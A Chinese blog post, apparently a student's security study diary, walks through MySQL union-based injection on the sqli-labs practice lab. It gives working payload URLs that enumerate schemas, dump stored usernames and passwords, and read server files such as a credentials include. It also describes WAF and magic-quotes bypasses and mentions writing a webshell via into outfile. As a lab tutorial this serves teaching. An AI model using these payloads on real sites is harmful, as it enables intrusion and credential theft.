网安学习day13（MYSQL注入）

已于 2023-03-13 15:16:25 修改
阅读量276 收藏 2
点赞数
分类专栏： 网安学习 文章标签： mysql 学习 数据库
于 2022-11-24 17:41:07 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_57485346/article/details/128012757
版权

在这里插入图片描述

MYSQL注入

information_schema 表特性，记录库名，表名，列名对应表
Information_schema.tables:记录所有表名信息的表
Information_schema.columns：记录所有列名信息的表
Information_schema.schemata当前 mysql 实例中所有数据库的信息
在这里插入图片描述
在这里插入图片描述

information_schema.column表的table_schema：字段所属数据库名字
information_schema.column表的table_name:字段所属表名字
information_schema.column表的column_name:字段名字
information_schema.tables 表的table_name:表的的名字
information_schema.tables 表的table_schema：表所属数据库的名字

跨库攻击

前期准备

数据库常用查询：
- 数据库版本：version（）
- 数据库名字：database()
- 数据用户：user()
- 操作系统：@@version_compile_os
- substring()截取字符串    
- ord 返回ASCII码值
- concat 连接字符串    
- sleep(4) 睡眠指定描述
- group_concat() 查询结果放同一行
- limit m,n 从m行开始，到m+n行。
- mid()需要截取的字符串
- 注释：
	- 1.#
	- 2.--空格（%20）
	- 3./**/
	- 内联注释:/*!SQL语句*/只有Mysql可以识别，常用来绕过WAF
	例如:select * from articles where id = id
	使用内联注释注入:select *from articles where id =-1 /*!union*//*!select*/
  • 查询数据库information_schema
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| pikachu            |
| security           |
| sys                |
+--------------------+
7 rows in set (0.00 sec)

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_LOCKS                          |
| INNODB_TRX                            |
| INNODB_SYS_DATAFILES                  |
| INNODB_FT_CONFIG                      |
| INNODB_SYS_VIRTUAL                    |
| INNODB_CMP                            |
| INNODB_FT_BEING_DELETED               |
| INNODB_CMP_RESET                      |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMPMEM_RESET                   |
| INNODB_FT_DELETED                     |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_LOCK_WAITS                     |
| INNODB_TEMP_TABLE_INFO                |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_FIELDS                     |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_BUFFER_PAGE                    |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_SYS_TABLESPACES                |
| INNODB_METRICS                        |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_CMPMEM                         |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_TABLESTATS                 |
+---------------------------------------+
61 rows in set (0.00 sec)
  • 查询information_schema下的schemata
mysql> select* from SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | challenges         | gbk                        | gbk_chinese_ci         | NULL     |
| def          | mysql              | latin1                     | latin1_swedish_ci      | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | pikachu            | utf8                       | utf8_unicode_ci        | NULL     |
| def          | security           | gbk                        | gbk_chinese_ci         | NULL     |
| def          | sys                | utf8                       | utf8_general_ci        | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
7 rows in set (0.00 sec)
  • 打开网页进入http://127.0.0.1/sqli-labs-master/Less-2/

信息收集

查看相关信息
- 数据库版本：version（）
- 数据库名字：database()
- 数据用户：user()
- 操作系统：@@version_compile_os
- substring()截取字符串
- ord 返回ASCII码值
- concat 连接字符串
- sleep(4) 睡眠指定描述
- group_concat() 查询结果放同一行
- limit m,n 从m行开始，到m+n行。
- mid()需要截取的字符串

  • order by 3显示如下 在这里插入图片描述
  • order by 4显示如下 在这里插入图片描述
  • 可以看出1,2,3为正常值，4以上就是错误值

使用联合查询，并将id=1改为-1让其报错。可以进行信息收集

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3

在这里插入图片描述
查询数据库，用户名等信息

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),user()

在这里插入图片描述
数据库版本：version（）-----------mysql-5.7.26
- 数据库名字：database()------------security
- 数据用户：user()----------root@localhost
- 操作系统：@@version_compile_os-------------windows 64bit
在这里插入图片描述

在浏览器获取所有数据库名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
在这里插入图片描述

获取security库下的表名

  • 上面已经知道该网站的库是security，所以我们要获取指定security数据库名下的表名信息

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27
在这里插入图片描述
在mysql中的查询

mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

获取库下的表名下的列名信息

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27
在这里插入图片描述

数据库操作

mysql> use security;
No connection. Trying to reconnect...
Connection id:    77
Current database: *** NONE ***

Database changed
mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'  LIMIT 0,1;
+----+----------------------+----------+
| id | username             | password |
+----+----------------------+----------+
|  1 | id,username,password | 3        |
+----+----------------------+----------+
1 row in set (0.00 sec)

users表的信息：

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

查询到指定数据

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,%20group_concat(username),%20group_concat(password)%20from%20security.users
在这里插入图片描述
数据库操作：

mysql> select * from users union select 1, group_concat(username), group_concat(password) from security.users;
+----+---------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------+
| id | username                                                                                    | password                                                                                         |
+----+---------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------+
|  1 | Dumb                                                                                        | Dumb                                                                                             |
|  2 | Angelina                                                                                    | I-kill-you                                                                                       |
|  3 | Dummy                                                                                       | p@ssword                                                                                         |
|  4 | secure                                                                                      | crappy                                                                                           |
|  5 | stupid                                                                                      | stupidity                                                                                        |
|  6 | superman                                                                                    | genious                                                                                          |
|  7 | batman                                                                                      | mob!le                                                                                           |
|  8 | admin                                                                                       | admin                                                                                            |
|  9 | admin1                                                                                      | admin1                                                                                           |
| 10 | admin2                                                                                      | admin2                                                                                           |
| 11 | admin3                                                                                      | admin3                                                                                           |
| 12 | dhakkan                                                                                     | dumbo                                                                                            |
| 14 | admin4                                                                                      | admin4                                                                                           |
|  1 | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 | Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 |
+----+---------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------+
14 rows in set (0.00 sec)

这里就完成了用户名和密码的读取

文件读写操作

参考地址
load_file();读取函数
into outfile 或 into dumpfile :导出函数

  • 查询是否有写入权限
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set, 1 warning (0.01 sec)
Value说明
Null不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
空不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL，这个情况下不可以写文件

  • 可以看到上面现在是没有写入权限的，解决办法是：
    • windows下：
      修改my.ini 在[mysqld]内加入secure_file_priv=
    • linux下：
      修改my.cnf 在[mysqld]内加入secure_file_priv=
      MYSQL新特性secure_file_priv对读写文件的影响
      然后重启mysql，再查询secure_file_priv
mysql> select load_file('C:/Users/Edison/Desktop/1.txt');
+--------------------------------------------+
| load_file('C:/Users/Edison/Desktop/1.txt') |
+--------------------------------------------+
| NULL                                       |
+--------------------------------------------+
1 row in set (0.00 sec)

貌似还是不行

  • 写入
mysql> select 'a' into outfile 'c:/w.txt';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

尴了个尬。

读取D盘下的www.txt，文件内容为dasdas

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,load_file(%27d:/www.txt%27),3

在这里插入图片描述
读取C:\phpStudy_64\phpstudy_pro\WWW\sqli-labs-master\sql-connections\db-creds.inc
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,load_file(%27C:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3
然后再右键查勘员吗就会有db_creds.inc文件的内容
在这里插入图片描述

路径获取常见方法

  • 报错显示，

    • 网页URL输入错误

  • 遗留文件，

    • PHPinfo.php

  • SCRIPT_FILENAME—脚本文件地址

  • 漏洞报错，

  • 平台配置文件，

  • 爆破

    • 一般网站的默认路径

  • windows:
    d:/wwwroot/xiaodi8/

linux:
/var/www/xiaodi8

2.into outfile 或 into dumpfile ：导出函数

#写入文件----文件上传，可以用菜刀连接

读取敏感信息链接

常见读取文件列表

  • 读取C:\phpStudy_64\phpstudy_pro\Extensions\Apache2.4.39\conf\vhosts\Listen.conf

http://192.168.102.130:8888/Less-2/?id=-1%20union%20select%201,2,load_file(%27C:\phpStudy_64\phpstudy_pro\Extensions\Apache2.4.39\conf\vhosts\Listen.conf%27)
在这里插入图片描述

魔术引号开关

介绍

魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时，对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义，这个的作用跟addslashes()的作用完全相同。

在php.in里找到magic_qutes_gpc并打开
在这里插入图片描述
在这里插入图片描述
选择SQL注入的关卡1阅读源码sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";这一句中我们要是想注入的话必须让前面的’闭合，但是我们开启了魔术引号开关我发生这样的事情。

在这里插入图片描述
就是在我们注入的时候添加的 " ’ “会在之后会自动添加” \ "将我们注入语句给注释掉从而失败。将魔术引号关闭之后然后重启phpstudy就可以正常的注入。
在这里插入图片描述
在这里插入图片描述

  • 由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示

  • 开启了魔术引号之后

  • 在这里插入图片描述

绕过方法

采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

魔术引号及常见防护

  • addslashes()函数

    • php addslashes函数的作用是在预定义的字符前面加上反斜杠，这些预定义字符包括：
      单引号（'）
      双引号（"）
      反斜杠（\）
      NULL

  • is_int 函数

    • is_int()：检测一个变量是否为整数。
    • 语法：
is_int ($var )

参数：
$var：为被传入要检测的变量
返回值：
如果 $var 为 integer 类型，返回 TRUE，否则返回 FALSE

例如：php检测一个变量是否为整数

<?php
$var = 'feiniaomy.com';
var_dump(is_int($var));
// 输出的值为 bool(false)
$var2 = 0;
var_dump(is_int($var2));
// 输出的值为 bool(true)
?>
Edison.W
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
springboot学习笔记day13.xmind
04-21
springboot学习笔记day13.xmind
Java学习路线：day13
01-20
文章目录第四章 面向对象(中)面向对象特征之三：多态性向下转型的使用多态性的练习Object 类的使用Object类中的主要结构==操作符与equals方法重写equals()方法的原则toString的使用包装类(Wrapper)的使用单元测试...
网络安全进阶学习第十课——MySQL手工注入
p36273的博客
08-02 2204
多了一列选项，由于正确就会执行sleep(1),所以相应时间最长的那一个就是正确的结果，这里就是14。这样就知道security这个数据库里面所有的表名字：emails，referers，uagents，users。现在这样子就知道了users这个表的所有字段名，假设知道了字段是：id，username，password。好了这样就知道所有的表名字是：emails，referers，uagents，users。，这个函数第二个参数要是有特殊字符是会报错的，这里0x7e是“~”的URL编码。
中国菜刀使用与原理分析
热门推荐
weixin_45597678的博客
12-04 1万+
中国菜刀的功能 中国菜刀的使用 原理分析
网安学习day12（SQL注入）
m0_57485346的博客
11-18 642
网安学习12（SQL注入）
网安学习Day9
weixin_44770698的博客
04-24 2241
今天学习了sql server的注入，这里还是以墨者学院的在线靶场做演示。当我们拿到一个网址的时候，首先就是判断是否存在注入，其方法与mysql注入的方式时相同的： http://219.153.49.228:47167/?id=2 and 1=1(正常回显) http://219.153.49.228:47167/?id=2 and 1=2 #(不正常回显) 得知id存在注入 http://219.153.49.228:47167/?id=2 order by 4 #(正常回显)判断字段数
网安学习Day14(web漏洞-SQL注入类型及提交注入)
m0_57485346的博客
11-26 3048
网安学习Day14(web漏洞-SQL注入类型及提交注入)
网安学习Day8
weixin_44770698的博客
04-22 2214
前天写了对mozhe的简单sql注入的过程，总结一下相关的代码；附上一张MYSQL注入的总结图： 首先我们拿到这个网站的时候，通过order by 语句来判断字段数量，然后之后通过union联合查询，经过报错显示来查找回显点: id=-1 union select 1,2,3 然后再回显点处查询数据库名，用户名；数据库版本以及操作系统等： id=-1 union select 1,database(),user() //数据库版本-version() 操作系统-@@version.
网安学习Day7
weixin_44770698的博客
04-18 1619
SQL注入 SQL注入存在的原因：用户输入的信息中含有sql语句的关键字，并且这些关键字参与了sql语句的编译过程，从而导致了sql语句的原意被曲解，进而达到了SQL注入。 SQL注入存在的危害： 攻击者未经授权可以访问数据库中的数据，盗取用户的隐私以及个人信息，造成用户的信息泄露。 通过操作数据库对某些网页进行篡改 修改数据库一些字段的值，嵌入网马链接，进行挂马攻击等 可以对数据库中的数据进行增加或者删除操作。 破坏硬盘数据，导致全系统瘫痪。 首先测试一个网站是否存在SQL注...
网安学习Day11
weixin_44770698的博客
04-29 2829
最近学习了SQL注入的绕过WAF的知识点，主要是以safedog为例，进行的学习，学习的知识框架总结如下： 主要是分为三个部分进行绕过，分别是从数据角度进行的绕过、从提交方式上进行的绕过以及从其他的方面进行的绕过，其他方面包括这FUZZ、根据数据库的特性、HTTP参数溢出等等。 （1）大小写绕过 ​​http://sqllab.com/sqli-labs-master/Less-2/?id=-1 UNioN sEleCt 1,2,3--+ (2) 关键字的替换 http://sqllab.
网安学习Day23-文件包含漏洞
weixin_44770698的博客
05-25 1021
文件包含的知识点框架如下： 文件包含的原理 大多数的Web语言都可以使用文件包含操作，其中PHP语言所提供的文件包含功能太强大、太灵活，所以文件包含漏洞经常出现在PHP语言中，但就是因为这种灵活性，从而导致客户端可以调用一个恶意文件，造成了文件包含漏洞。 大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。 攻击者会指定一个“
学习JavaEE的day13
03-01
在"Day13"的学习中，你可能会接触到以下几个关键知识点： 1. **Servlet与JSP**：Servlet是Java EE中的核心组件，用于处理HTTP请求。它们是服务器端的Java程序，可以动态生成HTML响应。JSP（JavaServer Pages）则是...
day60 安装MySql数据库
03-11
在本教程中，我们将深入探讨如何在您的计算机上安装MySQL 8.0数据库。MySQL是一种广泛使用的开源关系型数据库管理系统（RDBMS），它以其高效、稳定和易于管理的特性而受到开发者的青睐。让我们逐步了解如何进行安装...
Mysql高级-day04.pdf
04-15
MySQL是一种广泛使用的开源关系型数据库管理系统，它的高级使用涉及到各种客户端工具以及数据库管理和维护的高级特性。以下内容将详细介绍MySQL高级使用中涉及到的常用工具、日志管理、数据备份与迁移、以及主从复制...
CVE-2012-2122 mysql/mariaDB身份认证漏洞
weixin_68177269的博客
08-12 267
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，不断的尝试登录连接，回导致MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。影响范围#所有的Mariadb和mysql版本:5.1.61、5.0.11、5.3.5、5.5.22。可见经过大数量的暴力登录之后，直接不需要密码登录到mysql。使用docker-compose 创建靶场环境。下载安装vulhub靶场环境。二、msf漏洞scan探测。不知道为什么没跑出来🥴。
MySQL的初步认识
2301_80706853的博客
08-14 296
MySQL的初步认识
Java学习Day28：Mysql 第二章：斗气大陆
最新发布
weixin_51721783的博客
08-16 735
设计数据库时，某一个字段属于一张表，但它同时出现另一个或多个表中，且完全等同于它在其本来所属表的意义表示尽量遵循范式理论的规约，尽可能少的冗余字段，让数据库设计看起来精致合理加入冗余字段，减少join，让数据库执行性能更好添加索引首先应考虑在 where 及 order by 涉及的列上建立索引。索引的优点大大的提高查询速度可以显著的减少查询中分组和排序的时间。索引的缺点创建索引和维护索引需要时间，而且数据量越大时间越长。
MySQL与SQLserver
hahaha的博客
08-13 404
SQL Server和MySQL都是广泛使用的关系数据库管理系统（RDBMS），它们的SQL语法有很多相似之处，但也存在一些差异。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Edison.W

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值